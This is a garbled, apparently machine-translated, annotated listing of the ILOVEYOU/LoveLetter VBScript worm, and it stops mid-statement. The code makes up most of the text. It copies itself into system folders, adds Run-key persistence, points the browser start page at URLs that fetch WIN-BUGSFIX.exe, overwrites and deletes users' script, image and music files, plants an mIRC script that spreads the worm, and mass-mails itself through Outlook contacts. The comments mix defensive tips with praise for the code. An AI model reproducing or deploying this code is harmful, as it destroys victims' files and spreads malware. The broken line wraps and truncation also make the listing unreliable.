Source code of vbs. loveletter. CI Virus

Rem barok-loveletter (VBE)
Rem by: Spyder/ispyder@mail.com/@ grammersoft group/Manila, Philip
Pines
"NOTE: Signature of the program author (possibly)

On Error resume next
Dim FSO, dirsystem, dirwin, dirtemp, EQ, CTR, file, vbscopy, dow
Eq = ""
CTR = 0
Set FSO = Createobject ("scripting. FileSystemObject ")
"NOTE: FileSystemObject is the most dangerous part in the M $ vbvm system and has powerful functions.

"You can know from the use of FSO from the virus, you can easily prevent love letter attacks by modifying the registry.

Set file = FSO. opentextfile (wscript. scriptfullname, 1)
Vbscopy = file. readall
Main ()
"Note-the Program Initialization is complete.

Sub main ()
On Error resume next
Dim wscr, rr
Set wscr = Createobject ("wscript. Shell ")
RR = wscr. regread ("HKEY_CURRENT_USER/software/Microsoft/Windows scriptin
G host/settings/timeout ")
If (RR> = 1) then
Wscr. regwrite "HKEY_CURRENT_USER/software/Microsoft/Windows Scripting
Host/settings/timeout ", 0," REG_DWORD"
"Note-prevent program termination caused by Operation timeout.
"It should be said that programmers who write viruses have considered possible problems, which deserves all programming.
For reference.
End if
Set dirwin = FSO. getspecialfolder (0)
Set dirsystem = FSO. getspecialfolder (1)
Set dirtemp = FSO. getspecialfolder (2)
"Get the name of key system folders
"Vbprogramming is available.

Set c = FSO. GetFile (wscript. scriptfullname)
C. Copy (dirsystem & "/mskernel32.vbs ")
C. Copy (dirwin & "/win32dll. vbs ")
C. Copy (dirsystem & "/LOVE-LETTER-FOR-YOU.TXT.vbs ")
"Copy itself to the Key Directory for backup.
"The file name is not very good. It is too easy to be discovered.

Regruns ()
HTML ()
Spreadtoemail ()
Listadriv ()
End sub
Sub regruns ()
"Modify the Registry to automatically load virus programs
"Prevention: Check this branch in the Registry frequently.
"The known method is to put HTA In the Startup Folder. Virus programs use more advanced methods,
"Because it does not expire due to language problems.
On Error resume next
Dim num, downread
Regcreate "HKEY_LOCAL_MACHINE/software/Microsoft/Windows/currentversio
N/run/mskernel32 ", dirsystem &"/mskernel32.vbs"
Regcreate "HKEY_LOCAL_MACHINE/software/Microsoft/Windows/currentversio
N/runservices/win32dll ", dirwin &"/win32dll. vbs"
Downread = ""
Downread = regget ("HKEY_CURRENT_USER/software/Microsoft/Internet Certificate E
R/download directory ")
If (downread = "") then
Downread = "C :/"
End if
If (fileexist (dirsystem & "/winfat32.exe") = 1) then
Randomize
Num = int (4 * RND) + 1)
If num = 1 then
Regcreate "hkcu/software/Microsoft/Internet Explorer/main/start page ",
Http://www.skyinet.net /~ Young1s/hjkhjnwerhjkxcvytwertnmtfwetrdsfmhpnj
W6587345gvsdf7679njbvyt/WIN-BUGSFIX.exe"
Elseif num = 2 then
Regcreate "hkcu/software/Microsoft/Internet Explorer/main/start page ",
Http://www.skyinet.net /~ Angelcat/skladjflfdjghkjnwetrydgfikjuiyqwerwe
546786324hjk4jnhhgbvbmkljkjhkqj4w/WIN-BUGSFIX.exe"
Elseif num = 3 then
Regcreate "hkcu/software/Microsoft/Internet Explorer/main/start page ",
Http://www.skyinet.net /~ Koichi/jf6trjkcbgrpgqaq198vbfv5hffekbopbdqznm
Pohfger67b3vbvg/WIN-BUGSFIX.exe"
Elseif num = 4 then
Regcreate "hkcu/software/Microsoft/Internet Explorer/main/start page ",
Http://www.skyinet.net /~ Chu/sdgfhjksdfjklnbmnfgkklhjkqwtuhjbhafsdgjkh
Yugqwerasdjhphjasfdglknbhbqwebmznxcbvnmadshfgqw237461234iuy7thjg/WIN-B
Ugsfix.exe"
End if
End if
If (fileexist (downread & "/WIN-BUGSFIX.exe") = 0) then
Regcreate "HKEY_LOCAL_MACHINE/software/Microsoft/Windows/currentversio
N/run/WIN-BUGSFIX ", downread &"/WIN-BUGSFIX.exe"
Regcreate "HKEY_CURRENT_USER/software/Microsoft/Internet Explorer/main
/Start page "," about: blank"
End if
End sub
Sub listadriv
"Traverse all drives.
On Error resume next
Dim D, DC, S
Set Dc = FSO. Drives
For each d in DC
If D. drivetype = 2 or D. drivetype = 3 then
Folderlist (D. Path &"/")
End if
Next
Listadriv = s
End sub
Sub infectfiles (folderspec)
"Execute the infected file operation.
On Error resume next
Dim F, F1, FC, ext, AP, mircfname, S, bname, MP3
Set F = FSO. getfolder (folderspec)
Set fc = f. Files
For each F1 in FC
EXT = FSO. getextensionname (f1.path)
EXT = lcase (EXT)
S = lcase (f1.name)
If (EXT = "vbs") or (EXT = "VBE") then
Set ap = FSO. opentextfile (f1.path, 2, true)
AP. Write vbscopy
AP. Close
Elseif (EXT = "JS") or (EXT = "JSE") or (EXT = "CSS") or (EXT = "wsh") or (EXT =
"SCT") or (EXT = "HTA") then
Set ap = FSO. opentextfile (f1.path, 2, true)
AP. Write vbscopy
AP. Close
Bname = FSO. getbasename (f1.path)
Set COP = FSO. GetFile (f1.path)
Cop. Copy (folderspec & "/" & bname & ". vbs ")
FSO. deletefile (f1.path)
Elseif (EXT = "jpg") or (EXT = "Jpeg") then
Set ap = FSO. opentextfile (f1.path, 2, true)
AP. Write vbscopy
AP. Close
Set COP = FSO. GetFile (f1.path)
Cop. Copy (f1.path & ". vbs ")
FSO. deletefile (f1.path)
Elseif (EXT = "MP3") or (EXT = "MP2") then
Set MP3 = FSO. createtextfile (f1.path & ". vbs ")
Mp3.write vbscopy
Mp3.close
Set ATT = FSO. GetFile (f1.path)
Att. Attributes = Att. Attributes + 2
End if
If (EQ <> folderspec) then
If (S = "mirc32.exe") or (S = "mlink32.exe") or (S = "mIRC. ini") or (S = "scri"
PT. ini ") or (S =" mIRC. HLP ") then
Set scripini = FSO. createtextfile (folderspec & "/script. ini ")
Scripini. writeline "[script]"
Scripini. writeline "; mIRC script"
Scripini. writeline "; please dont edit this script... mIRC will corru
PT, if mIRC will"
Scripini. writeline "Upload upt... windows will affect and will not run
Correctly. Thanks"
"I'm afraid the virus author has not learned English well ...... However, it is enough to scare people.
"I would like to remind you that you should not care about the scary words. You will find that the vulnerability is actually not
Less.
Scripini. writeline ";"
Scripini. writeline "; haled Mardam-bey"
Scripini. writeline "; http://www.mirc.com"
Scripini. writeline ";"
Scripini. writeline "N0 = on 1: Join :#:{"
Scripini. writeline "n1 =/if ($ Nick = $ me) {halt }"
Scripini. writeline "N2 =/. DCC send $ Nick" & dirsystem & "/LOVE-LETTER-FO
R-YOU.HTM"
Scripini. writeline "N3 = }"
"Note that the result is that mIRC can also infect viruses.
Scripini. Close
Eq = folderspec
End if
End if
Next
End sub
Sub folderlist (folderspec)
"Traverse folders
On Error resume next
Dim F, F1, SF
Set F = FSO. getfolder (folderspec)
Set Sf = f. subfolders
For each F1 in SF
Infectfiles (f1.path)
Folderlist (f1.path)
Next
End sub
Sub regcreate (regkey, regvalue)
"Modify the Registry (create a key value)
"This program seems to be Microsoft's demo program.
Set Regedit = Createobject ("wscript. Shell ")
Regedit. regwrite regkey, regvalue
End sub
Function regget (value)
"This program seems to be Microsoft's demo program. (Wsh demo, in Windows Folder)
Set Regedit = Createobject ("wscript. Shell ")
Regget = Regedit. regread (value)
End Function
Function fileexist (filespec)
"Determine whether a file exists
"From a technical point of view, this program is not very well written.
"The same function can be implemented without writing so long.
On Error resume next
Dim msg
If (FSO. fileexists (filespec) then
MSG = 0
Else
MSG = 1
End if
Fileexist = msg
End Function
Function folderexist (folderspec)
"Determine whether a folder exists
"It stinks like the previous program.
On Error resume next
Dim msg
If (FSO. getfolderexists (folderspec) then
MSG = 0
Else
MSG = 1
End if
Fileexist = msg
End Function
Sub spreadtoemail ()
"Spread by email
On Error resume next
Dim X, A, ctrlists, ctrentries, malead, B, regedit, regv, regad
Set Regedit = Createobject ("wscript. Shell ")
Set out = wscript. Createobject ("Outlook. application ")
"Virus restrictions: Only outlook is supported, but Outlook Express is not.
Set mapi = out. getnamespace ("mapi ")
For ctrlists = 1 to mapi. addresslists. Count
Set a = mapi. addresslists (ctrlists)
X = 1
Regv = Regedit. regread ("HKEY_CURRENT_USER/software/Microsoft/WAB/" &)
If (regv = "") then
Regv = 1
End if
If (INT (A. addressentries. Count)> int (regv) then
For ctrentries = 1 to A. addressentries. Count
Malead = A. addressentries (X)
Regad = ""
Regad = Regedit. regread ("HKEY_CURRENT_USER/software/Microsoft/WAB/" & male
AD)
If (regad = "") then
Set male = out. createitem (0)
Male. Recipients. Add (malead)
Male. Subject = "Iloveyou"
"Reason why the virus is named
"It must be a virus to see such an email.
"A person with a normal mind may not be so straightforward.
Male. Body = vbcrlf & "kindly check the attached loveletter coming from m
E ."
Male. attachments. Add (dirsystem & "/LOVE-LETTER-FOR-YOU.TXT.vbs ")
Male. Send
Regedit. regwrite "HKEY_CURRENT_USER/software/Microsoft/WAB/" & malead, 1,
"REG_DWORD"
End if
X = x + 1
Next
Regedit. regwrite "HKEY_CURRENT_USER/software/Microsoft/WAB/" & A, A. addh
Ssentries. Count
Else
Regedit. regwrite "HKEY_CURRENT_USER/software/Microsoft/WAB/" & A, A. addh
Ssentries. Count
End if
Next
Set out = nothing
Set mapi = nothing
End sub
Sub html
"Technically speaking, this program is well written because it fully utilizes the resources of outlook.
.
"It is worth learning from programming.
"The _ symbol in the middle of the program is a connection line, so the comment is written here.
"There are a lot of invalid statements in the program, which wastes a lot of space.
On Error resume next
Dim lines, N, dta1, dta2, dt1, dt2, dt3, dt4, L1, dt5, dt6
Dta1 ="